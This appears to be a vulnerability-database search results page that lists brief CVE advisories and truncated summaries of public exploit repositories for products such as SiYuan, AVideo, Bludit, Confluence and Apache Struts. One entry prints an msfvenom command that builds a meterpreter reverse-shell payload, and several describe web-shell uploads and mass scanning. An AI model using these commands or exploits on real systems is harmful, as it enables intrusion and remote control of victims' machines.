Lucene search
+L

585029 matches found

CVE
CVE
•added 2026/09/26 1:23 p.m.•12 views

CVE-2026-100639

SiYuan v3.8.3 is vulnerable to a Cross-Site Scripting (XSS) flaw due to a failure to HTML-escape the data-subtype attribute during gutter-button markup generation. This occurs when content containing a Kramdown inline attribute list (IAL) is pasted as plain-text Markdown. The shared Lute renderer...

8.8CVSS5.9AI score0.00472EPSS
SaveExploits0References2
OSV
OSV
•added 2026/09/26 1:23 p.m.•7 views

CVE-2026-100639 SiYuan before v3.8.4 Cross-Site Scripting via Kramdown IAL

SiYuan v3.8.3 fails to HTML-escape the data-subtype attribute when generating gutter-button markup app/src/protyle/gutter/button.ts, assigned via innerHTML in app/src/protyle/gutter/index.ts from content pasted as plain-text Markdown containing a Kramdown inline attribute list IAL. Because the...

8.6CVSS5.9AI score
SaveExploits0References4
CVE
CVE
•added 2026/09/26 1:23 p.m.•13 views

CVE-2026-100630

AVideo contains a stored cross-site scripting (XSS) vulnerability within the video trailer1 field . The issue arises because this field is rendered unsanitized inside an inline onclick JavaScript string . Attackers who possess video upload permissions can inject HTML entity-encoded payloads that ...

5.4CVSS5.9AI score0.00182EPSS
SaveExploits0References2
EUVD
EUVD
•added 2026/09/26 1:23 p.m.•10 views

EUVD-2026-87724

AVideo contains a stored cross-site scripting vulnerability in the video trailer1 field rendered unsanitized within an inline onclick JavaScript string. Attackers with video upload permission can store HTML entity-encoded payloads that bypass isValidURL validation and are decoded by the browser t...

5.4CVSS5.9AI score0.00182EPSS
SaveExploits0References2
Kitploit
Kitploit
•added 2026/09/26 1:19 p.m.•12 views

CVE-2019-16113

Bludit 3.9.2 - Ejecución remota de comandos - CVE-2019-16113 Este exploit combina dos exploits en Bludit CMS 3.9.2 para obtener ejecución remota de código en el sistema objetivo. Los exploits originales son CVE-2019-17240 & CVE-2019-16113. Características Fuerza bruta de contraseña + RCE Fuerza...

8.8CVSS7AI score0.77962EPSS
SaveExploits16References1
Kitploit
Kitploit
•added 2026/09/26 1:16 p.m.•11 views

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 es una vulnerabilidad de carga arbitraria de archivos en laravel-admin v1.8.19. Esta prueba de concepto explota la vulnerabilidad para subir una web shell. El exploit fue escrito para usarse contra la máquina fácil Usage de HackTheBox. Ejemplo python3...

7.2CVSS7.6AI score0.02382EPSS
SaveExploits3
Kitploit
Kitploit
•added 2026/09/26 1:10 p.m.•13 views

CVE-2018-20250

Setup Video demo: https://youtu.be/5tuWsi1tGS0 VirtualBox Machine: https://j2c.cc/virtualbox-machine Winrar 5.5 32bit: https://j2c.cc/winrar-550-32bit Procedure Kali: root@kitploit: ip a msfvenom -p windows/meterpreter/reversetcp lport=1234 lhost=10.0.0.199 -f exe shell.exe Windows: root@kitploit...

7.8CVSS7.4AI score0.96004EPSS
SaveExploits14
Kitploit
Kitploit
•added 2026/09/26 1:10 p.m.•14 views

CVE-2025-26865

CVE-2025-26865: Inyección de plantillas del lado del servidor en FreeMarker a través del plugin "ecommerce" en Apache OfBiz Debido a una regresión entre 18.12.17 y 18.12.18, la corrección para el hallazgo CVE-2022-25813: Inyección de plantillas del lado del servidor en FreeMarker en Apache OfBiz...

7.5CVSS5.6AI score0.67261EPSS
SaveExploits1References2
Kitploit
Kitploit
•added 2026/09/26 1:09 p.m.•7 views

CVE-2026-53595_exploit

CVE-2026-53595 + CVE-2026-53593 — ATO anónimo de FreeScout → RCE Ejecución remota de código sin autenticación en FreeScout ≤ 1.8.223 un sistema de help desk en Laravel mediante la combinación de dos fallos, ambos corregidos en 1.8.224 : CVE-2026-53595 — toma de cuenta anónima. POST...

9.4CVSS6.2AI score0.01945EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/26 1:08 p.m.•18 views

CVE-2023-22518

CVE-2023-22518 Exploit for Confluence CVE-2023-22518 backup-restore RCE Endpoint POST /setup/setup-restore.action Requires valid login and admin rights or an auth bypass Files xmlexport-20231127-071916-1.zip – empty Confluence backup. Restoring this will DELETE all data!!! Replace with any backup...

10CVSS8.9AI score0.99999EPSS
SaveExploits14References1
Kitploit
Kitploit
•added 2026/09/26 1:06 p.m.•9 views

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner

Apache-Struts-CVE-2017-5638-RCE-Mass-Scanner...

10CVSS8.4AI score0.99999EPSS
SaveExploits46
Kitploit
Kitploit
•added 2026/09/26 1:06 p.m.•10 views

CVE-2025-56513-NiceHash-Update-Chain-Compromise

CVE-2025-56513 Critical Supply-Chain Vulnerability in NiceHash QuickMiner Update Mechanism Author: Prince T Philip Role: Independent Security Researcher Severity: CRITICAL — CVSS 9.8 Impact: Remote Code Execution / Supply-Chain Compromise Status: Publicly Disclosed & Assigned CVE-2025-56513...

6.6AI score0.00448EPSS
SaveExploits2
Kitploit
Kitploit
•added 2026/09/26 1:05 p.m.•14 views

CVE_2020_35848

🧨 CVE‑2020‑35848 – Cockpit CMS 0.11.2 Laboratorio de inyección NoSQL RCE CVE‑2020‑35848 afecta a Agentejo Cockpit CMS en versiones anteriores a 0.11.2, introduciendo una vulnerabilidad crítica de inyección NoSQL en el endpoint /auth/newpassword. Este fallo permite a atacantes no autenticados...

9.8CVSS8.3AI score0.74591EPSS
SaveExploits5
Kitploit
Kitploit
•added 2026/09/26 1:04 p.m.•12 views

Laravel-CVE-2018-15133

Laravel-CVE-2018-15133 This Python script will allow you to create lists of sites and exploit them quickly. Prerequisites: python curl Usage: $ python cve.py Execute the script $ "Which site do you want to attack =" http:victime.com/ Add the site to the list $ chmod +x nikmok.txt gives 777...

8.1CVSS7.8AI score0.76814EPSS
SaveExploits11
Kitploit
Kitploit
•added 2026/09/26 1:03 p.m.•10 views

Mysql_CVE-2024-27766

Guía de Reproducción del Exploit versión afectada del producto MariaDB 11.1 Esta guía proporciona instrucciones paso a paso para reproducir un ataque de Función Definida por el Usuario UDF en un sistema de base de datos. Tenga en cuenta que este exploit puede funcionar en algunos sistemas, pero...

6.3AI score0.01262EPSS
SaveExploits2
Kitploit
Kitploit
•added 2026/09/26 1:03 p.m.•11 views

Spring4ShellPoC

Spring4ShellPoC PoC de Spring4Shell CVE-2022-22965 Solo jugando con el exploit. Modificado a partir del buen trabajo hecho por BobTheShopLifter, https://github.com/BobTheShoplifter/Spring4Shell-POC y TryHackMe, https://tryhackme.com/room/spring4shell Solo algunos ajustes. Añadí algunos bits extra...

9.8CVSS7.8AI score0.99638EPSS
SaveExploits105References1
Kitploit
Kitploit
•added 2026/09/26 1:02 p.m.•7 views

Next.js-RCE-Scanner---CVE-2025-55182-CVE-2025-66478

🔍 Next.js RCE Scanner - CVE-2025-55182 & CVE-2025-66478 Un escáner potente y fácil de usar para detectar vulnerabilidades críticas de RCE en aplicaciones Next.js 🎯 Descripción general Un escáner avanzado de vulnerabilidades para detectar CVE-2025-55182 y CVE-2025-66478 : vulnerabilidades críticas...

10CVSS7.9AI score0.99802EPSS
SaveExploits405References1
Kitploit
Kitploit
•added 2026/09/26 1:01 p.m.•12 views

CVE-2025-27520

CVE-2025-27520 exploit para CVE-2025-27520: una vulnerabilidad de ejecución remota de código RCE causada por deserialización insegura en la última versión v1.4.2 de BentoML. Permite a cualquier usuario no autenticado ejecutar código arbitrario en el servidor. Existe un segmento de código inseguro...

9.8CVSS8.6AI score0.4062EPSS
SaveExploits6
Kitploit
Kitploit
•added 2026/09/26 1:01 p.m.•16 views

CVE-2026-14282

CVE-2026-14282 — Plugin GoDAM para WordPress RCE Autor: nullwhisper Caso de uso: solo investigación de seguridad autorizada / validación de vulnerabilidades. ¿Qué es esto? Las versiones = 1.12.2 del plugin GoDAM para WordPress registran un campo de WPForms llamado godamrecord. El gestor de subida...

9.8CVSS6AI score0.01254EPSS
SaveExploits1
Kitploit
Kitploit
•added 2026/09/26 1:01 p.m.•10 views

CVE-2026-Pending-Django-Summernote-RCE

CVE-2026-XXXXX Pendiente: django-summernote Carga Arbitraria de Archivos RCE Este repositorio contiene una Prueba de Concepto PoC para una vulnerabilidad de Ejecución Remota de Código RCE Condicional descubierta en django-summernote versión 0.8.20.0 y anteriores. Detalles de la Vulnerabilidad...

6.1AI score
SaveExploits0
Rows per page
Query Builder